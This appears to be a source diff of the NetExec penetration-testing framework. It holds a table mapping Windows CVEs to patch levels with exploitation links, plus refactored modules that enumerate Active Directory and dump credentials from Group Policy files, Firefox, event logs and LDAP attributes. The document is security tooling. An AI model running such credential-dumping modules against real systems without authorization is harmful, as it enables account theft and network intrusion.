# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54918
|
||||
# https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/
|
||||
"CVE-2025-54918": {
|
||||
"alias": "NTLM MIC Bypass",
|
||||
"dc_only": True,
|
||||
"patches": {
|
||||
(6, 0, 6003): 23529, # Windows Server 2008 SP2
|
||||
(6, 1, 7601): 27929, # Windows Server 2008 R2 SP1
|
||||
(6, 2, 9200): 25675, # Windows Server 2012
|
||||
(6, 3, 9600): 22774, # Windows Server 2012 R2
|
||||
(10, 0, 10240): 21128, # Windows 10 1507
|
||||
(10, 0, 14393): 8422, # Windows Server 2016
|
||||
(10, 0, 17763): 7792, # Windows Server 2019 / Win10 1809
|
||||
(10, 0, 19044): 6332, # Windows 10 21H2
|
||||
(10, 0, 20348): 4171, # Windows Server 2022
|
||||
(10, 0, 22621): 5909, # Windows 11 22H2
|
||||
(10, 0, 22631): 5909, # Windows 11 23H2
|
||||
(10, 0, 26100): 6508, # Windows Server 2025 / Win11 24H2
|
||||
},
|
||||
"message": "Note that without CVE-2025-33073 only Windows Server 2025 is exploitable",
|
||||
"exploitation": "https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53779
|
||||
"CVE-2025-53779": {
|
||||
"alias": "BadSuccessor",
|
||||
"dc_only": True,
|
||||
"patches": {
|
||||
(10, 0, 26100): 4851, # Windows Server 2025 / Win11 24H2
|
||||
},
|
||||
"message": "Escalation to Domain Admin possible via dMSA Kerberos abuse",
|
||||
"exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019
|
||||
"CVE-2024-49019": {
|
||||
"alias": "ESC15 / EKUwu",
|
||||
"patches": {
|
||||
(6, 0, 6003): 22966, # Windows Server 2008 SP2
|
||||
(6, 1, 7601): 27415, # Windows Server 2008 R2 SP1
|
||||
(6, 2, 9200): 25165, # Windows Server 2012
|
||||
(6, 3, 9600): 22267, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 7515, # Windows Server 2016
|
||||
(10, 0, 17763): 6532, # Windows Server 2019 / Win10 1809
|
||||
(10, 0, 20348): 2849, # Windows Server 2022
|
||||
(10, 0, 25398): 1251, # Windows Server 2022 23H2
|
||||
(10, 0, 26100): 2314, # Windows Server 2025 / Win11 24H2
|
||||
},
|
||||
"message": "If host is an AD CS / CA server, it may be vulnerable to ESC15",
|
||||
"exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121
|
||||
"CVE-2026-54121": {
|
||||
"alias": "Certighost",
|
||||
"patches": {
|
||||
(6, 2, 9200): 26226, # Windows Server 2012
|
||||
(6, 3, 9600): 23291, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 9339, # Windows Server 2016
|
||||
(10, 0, 17763): 9020, # Windows Server 2019
|
||||
(10, 0, 20348): 5386, # Windows Server 2022
|
||||
(10, 0, 26100): 33158, # Windows Server 2025
|
||||
},
|
||||
"message": "If host is an AD CS / CA server, it may be vulnerable to Certighost",
|
||||
"exploitation": "https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26",
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912
|
||||
"CVE-2026-27912": {
|
||||
"alias": "ResetNightmare",
|
||||
"dc_only": True,
|
||||
"patches": {
|
||||
(6, 2, 9200): 26026, # Windows Server 2012
|
||||
(6, 3, 9600): 23132, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 9060, # Windows Server 2016
|
||||
(10, 0, 17763): 8644, # Windows Server 2019
|
||||
(10, 0, 20348): 5020, # Windows Server 2022
|
||||
(10, 0, 25398): 2274, # Windows Server 2022 23H2
|
||||
(10, 0, 26100): 32690, # Windows Server 2025
|
||||
},
|
||||
"message": "Password reset of any account possible via Kerberos change password abuse",
|
||||
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
|
||||
},
|
||||
}
|
||||
@@ -1,6 +1,5 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -13,7 +12,6 @@ class NXCModule:
|
||||
name = "enum_dns"
|
||||
description = "Uses WMI to dump DNS from an AD DNS Server"
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -29,7 +27,7 @@ class NXCModule:
|
||||
def on_admin_login(self, context, connection):
|
||||
if not self.domains:
|
||||
domains = []
|
||||
output = connection.wmi_query("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
|
||||
output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
|
||||
domains = [result["Name"]["value"] for result in output] if output else []
|
||||
context.log.success(f"Domains retrieved: {domains}")
|
||||
else:
|
||||
@@ -37,8 +35,8 @@ class NXCModule:
|
||||
data = ""
|
||||
|
||||
for domain in domains:
|
||||
output = connection.wmi_query(
|
||||
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = '{domain}'",
|
||||
output = connection.wmi(
|
||||
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
|
||||
"root\\microsoftdns",
|
||||
)
|
||||
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server users with impersonation rights
|
||||
@@ -10,7 +7,6 @@ class NXCModule:
|
||||
name = "enum_impersonate"
|
||||
description = "Enumerate users with impersonation privileges"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
|
||||
@@ -4,7 +4,6 @@ import contextlib
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -18,7 +17,6 @@ class NXCModule:
|
||||
description = "Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry (formerly --interfaces)"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server linked servers
|
||||
@@ -10,7 +7,6 @@ class NXCModule:
|
||||
name = "enum_links"
|
||||
description = "Enumerate linked SQL Servers and their login configurations."
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
@@ -32,7 +28,7 @@ class NXCModule:
|
||||
|
||||
if connection.admin_privs:
|
||||
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
|
||||
srvs = [srv for srv in res if srv["Local Login"] is not None]
|
||||
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
|
||||
if not srvs:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
return
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server logins (SQL, Domain, Local users)
|
||||
@@ -10,7 +7,6 @@ class NXCModule:
|
||||
name = "enum_logins"
|
||||
description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
|
||||
@@ -1,6 +1,4 @@
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -11,7 +9,6 @@ class NXCModule:
|
||||
name = "enum_trusts"
|
||||
description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
@@ -1,10 +1,8 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5 import even6
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dcerpc.v5 import transport, even6
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dcerpc.v5.epm import hept_map
|
||||
from nxc.helpers.even6_parser import ResultSet
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -14,8 +12,7 @@ class NXCModule:
|
||||
"""
|
||||
name = "eventlog_creds"
|
||||
description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
@@ -111,7 +108,18 @@ class NXCModule:
|
||||
else:
|
||||
msevenclass = MSEven6Trigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
msevenclass.connect(connection, target)
|
||||
msevenclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
pipe="eventlog"
|
||||
)
|
||||
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
|
||||
if record is None:
|
||||
continue
|
||||
@@ -132,21 +140,37 @@ class MSEven6Trigger:
|
||||
self.context = context
|
||||
self.dce = None
|
||||
|
||||
def connect(self, connection, target):
|
||||
binding = hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp")
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
rpctransport.setRemoteHost(target)
|
||||
self.dce = rpctransport.get_dce_rpc()
|
||||
if doKerberos:
|
||||
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
self.context.log.debug(f"Connecting to {target}...")
|
||||
try:
|
||||
self.dce = NXCRPCConnection(connection).connect(
|
||||
None,
|
||||
even6.MSRPC_UUID_EVEN6,
|
||||
target_ip=target,
|
||||
string_binding=binding,
|
||||
auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
)
|
||||
self.dce.connect()
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return
|
||||
try:
|
||||
self.dce.bind(even6.MSRPC_UUID_EVEN6)
|
||||
self.context.log.debug("[+] Successfully bound!")
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return
|
||||
self.context.log.debug("[+] Successfully bound!")
|
||||
|
||||
def query(self, path, query, limit):
|
||||
req = even6.EvtRpcRegisterLogQuery()
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -11,7 +9,6 @@ class NXCModule:
|
||||
name = "example module"
|
||||
description = "I do something"
|
||||
supported_protocols = [] # Example: ['smb', 'mssql']
|
||||
category = CATEGORY.ENUMERATION # Must be one of "Enumeration", "Privilege Escalation" or "Credential Dumping". Use what fits best.
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
@@ -21,8 +18,6 @@ class NXCModule:
|
||||
"""Required.
|
||||
Module options get parsed here. Additionally, put the modules usage here as well
|
||||
"""
|
||||
# Put "No options available" in the docstring if there are no options for the module
|
||||
# Return False to abort the run if options are invalid (log with context.log.fail first).
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent.
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Execute commands on linked servers
|
||||
@@ -10,7 +7,6 @@ class NXCModule:
|
||||
name = "exec_on_link"
|
||||
description = "Execute commands on a SQL Server linked server"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from impacket.ldap.ldapasn1 import SearchResultEntry
|
||||
@@ -16,7 +15,6 @@ class NXCModule:
|
||||
name = "find-computer"
|
||||
description = "Finds computers in the domain via the provided text"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
from dploot.lib.target import Target
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -13,7 +12,6 @@ class NXCModule:
|
||||
name = "firefox"
|
||||
description = "[REMOVED] Dump credentials from Firefox"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
import re
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
@@ -12,9 +11,8 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
name = "get-desc-users"
|
||||
description = "Get description of the users. May contain password"
|
||||
description = "Get description of the users. May contained password"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -63,7 +61,7 @@ class NXCModule:
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
|
||||
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
|
||||
|
||||
def filter_answer(self, context, answers):
|
||||
# No option to filter
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
@@ -10,7 +9,6 @@ class NXCModule:
|
||||
name = "get-info-users"
|
||||
description = "Get the info field of all users. May contain password"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""FILTER Apply the FILTER (grep-like) (default: '')"""
|
||||
|
||||
@@ -2,17 +2,28 @@
|
||||
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
|
||||
# module by @mpgn_x64
|
||||
import re
|
||||
import codecs
|
||||
import socket
|
||||
from datetime import datetime
|
||||
from struct import unpack
|
||||
|
||||
from impacket.structure import Structure
|
||||
from ldap3 import LEVEL
|
||||
from os.path import expanduser
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
def get_dns_zones(connection, root, debug=False):
|
||||
connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"])
|
||||
zones = []
|
||||
for entry in connection.response:
|
||||
if entry["type"] != "searchResEntry":
|
||||
continue
|
||||
zones.append(entry["attributes"]["dc"])
|
||||
return zones
|
||||
|
||||
|
||||
def ldap2domain(baseDN):
|
||||
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
|
||||
|
||||
@@ -57,7 +68,6 @@ class NXCModule:
|
||||
name = "get-network"
|
||||
description = "Query all DNS records with the corresponding IP from the domain."
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -71,12 +81,12 @@ class NXCModule:
|
||||
if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
|
||||
self.showall = True
|
||||
else:
|
||||
context.log.display("Could not parse ALL option.")
|
||||
print("Could not parse ALL option.")
|
||||
if module_options and "ONLY_HOSTS" in module_options:
|
||||
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
|
||||
self.showhosts = True
|
||||
else:
|
||||
context.log.display("Could not parse ONLY_HOSTS option.")
|
||||
print("Could not parse ONLY_HOSTS option.")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
zone = ldap2domain(connection.baseDN)
|
||||
@@ -96,7 +106,7 @@ class NXCModule:
|
||||
recordname = site["name"]
|
||||
|
||||
if "dnsRecord" in site:
|
||||
if isinstance(site["dnsRecord"], list):
|
||||
if isinstance(site["dnsRecord"], list): # noqa: SIM108
|
||||
records = [bytes(r) for r in site["dnsRecord"]]
|
||||
else:
|
||||
records = [bytes(site["dnsRecord"])]
|
||||
@@ -142,12 +152,12 @@ class NXCModule:
|
||||
|
||||
context.log.highlight(f"Found {len(outdata)} records")
|
||||
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
with open(path, "w") as outfile:
|
||||
with codecs.open(path, "w", "utf-8") as outfile:
|
||||
for row in outdata:
|
||||
if self.showhosts:
|
||||
outfile.write(f"{row['name'] + '.' + zone}\n")
|
||||
outfile.write(f"{row['name'] + '.' + connection.domain}\n")
|
||||
elif self.showall:
|
||||
outfile.write(f"{row['name'] + '.' + zone} \t {row['value']}\n")
|
||||
outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n")
|
||||
else:
|
||||
outfile.write(f"{row['value']}\n")
|
||||
context.log.success(f"Dumped {len(outdata)} records to {path}")
|
||||
|
||||
@@ -1,66 +0,0 @@
|
||||
import json
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Get the scriptPath attribute of users
|
||||
|
||||
Module by @wyndoo
|
||||
"""
|
||||
name = "get-scriptpath"
|
||||
description = "Get the scriptPath attribute of all users."
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
FILTER Apply the FILTER (grep-like) (default: '')
|
||||
OUTPUTFILE Path to a file to save the results (default: None)
|
||||
"""
|
||||
self.filter = ""
|
||||
self.outputfile = None
|
||||
|
||||
if "FILTER" in module_options:
|
||||
self.filter = module_options["FILTER"]
|
||||
|
||||
if "OUTPUTFILE" in module_options:
|
||||
self.outputfile = module_options["OUTPUTFILE"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Building the search filter
|
||||
resp = connection.search(
|
||||
searchFilter="(scriptPath=*)",
|
||||
attributes=["sAMAccountName", "scriptPath"]
|
||||
)
|
||||
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
answers = parse_result_attributes(resp)
|
||||
context.log.debug(f"Filtering for scriptPath containing: {self.filter}")
|
||||
filtered_answers = list(filter(lambda x: self.filter in x["scriptPath"], answers))
|
||||
|
||||
if filtered_answers:
|
||||
context.log.success("Found the following attributes: ")
|
||||
for answer in filtered_answers:
|
||||
context.log.highlight(f"User: {answer['sAMAccountName']:<20} ScriptPath: {answer['scriptPath']}")
|
||||
|
||||
# Save the results to a file
|
||||
if self.outputfile:
|
||||
self.save_to_file(context, filtered_answers)
|
||||
else:
|
||||
context.log.fail("No results found after filtering.")
|
||||
|
||||
def save_to_file(self, context, answers):
|
||||
"""Save the results to a JSON file."""
|
||||
try:
|
||||
# Format answers as a list of dictionaries for JSON output
|
||||
json_data = [{"sAMAccountName": answer["sAMAccountName"], "scriptPath": answer["scriptPath"]} for answer in answers]
|
||||
|
||||
# Save the JSON data to the specified file
|
||||
with open(self.outputfile, "w") as f:
|
||||
json.dump(json_data, f, indent=4)
|
||||
context.log.success(f"Results successfully saved to {self.outputfile}")
|
||||
|
||||
except Exception as e:
|
||||
context.log.error(f"Failed to save results to file: {e}")
|
||||
@@ -1,5 +1,4 @@
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
@@ -13,7 +12,6 @@ class NXCModule:
|
||||
name = "get-unixUserPassword"
|
||||
description = "Get unixUserPassword attribute from all users in ldap"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
@@ -13,7 +12,6 @@ class NXCModule:
|
||||
name = "get-userPassword"
|
||||
description = "Get userPassword attribute from all users in ldap"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -41,6 +39,6 @@ class NXCModule:
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
context.log.success("Found following users: ")
|
||||
for user in resp_parsed:
|
||||
context.log.highlight(f"User: {user['sAMAccountName']} userPassword: {user['userPassword']}")
|
||||
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}")
|
||||
else:
|
||||
context.log.fail("No userPassword Found")
|
||||
context.log.fail("No unixUserPassword Found")
|
||||
@@ -1,6 +1,5 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
import json
|
||||
|
||||
@@ -15,14 +14,13 @@ class NXCModule:
|
||||
name = "get_netconnections"
|
||||
description = "Uses WMI to query network connections."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
data = []
|
||||
cards = connection.wmi_query("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
|
||||
cards = connection.wmi("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
|
||||
if cards:
|
||||
for c in cards:
|
||||
if c["IPAddress"].get("value"):
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
import xml.etree.ElementTree as ET
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -12,43 +11,47 @@ class NXCModule:
|
||||
name = "gpp_autologin"
|
||||
description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available."""
|
||||
""" """
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Searching SYSVOL share for Registry.xml")
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"] == "SYSVOL" and "READ" in share["access"]:
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for Registry.xml")
|
||||
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
|
||||
xml_section = xml.findall(".//Properties")
|
||||
if xml.findall('.//Properties[@name="DefaultPassword"]'):
|
||||
usernames = []
|
||||
passwords = []
|
||||
domains = []
|
||||
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
xml_section = xml.findall(".//Properties")
|
||||
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
for section in xml_section:
|
||||
attrs = section.attrib
|
||||
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
if attrs["name"] == "DefaultPassword":
|
||||
passwords.append(attrs["value"])
|
||||
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
if attrs["name"] == "DefaultUserName":
|
||||
usernames.append(attrs["value"])
|
||||
|
||||
if usernames or passwords:
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
if attrs["name"] == "DefaultDomainName":
|
||||
domains.append(attrs["value"])
|
||||
|
||||
if usernames or passwords:
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
+62
-60
@@ -3,7 +3,6 @@ from Cryptodome.Cipher import AES
|
||||
from base64 import b64decode
|
||||
from binascii import unhexlify
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -15,83 +14,86 @@ class NXCModule:
|
||||
name = "gpp_password"
|
||||
description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
""" """
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"] == "SYSVOL" and "READ" in share["access"]:
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for potential XML files containing passwords")
|
||||
|
||||
paths = connection.spider(
|
||||
"SYSVOL",
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
paths = connection.spider(
|
||||
"SYSVOL",
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
"Scheduledtasks.xml",
|
||||
"DataSources.xml",
|
||||
"Printers.xml",
|
||||
"Drives.xml",
|
||||
],
|
||||
)
|
||||
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
buf = BytesIO()
|
||||
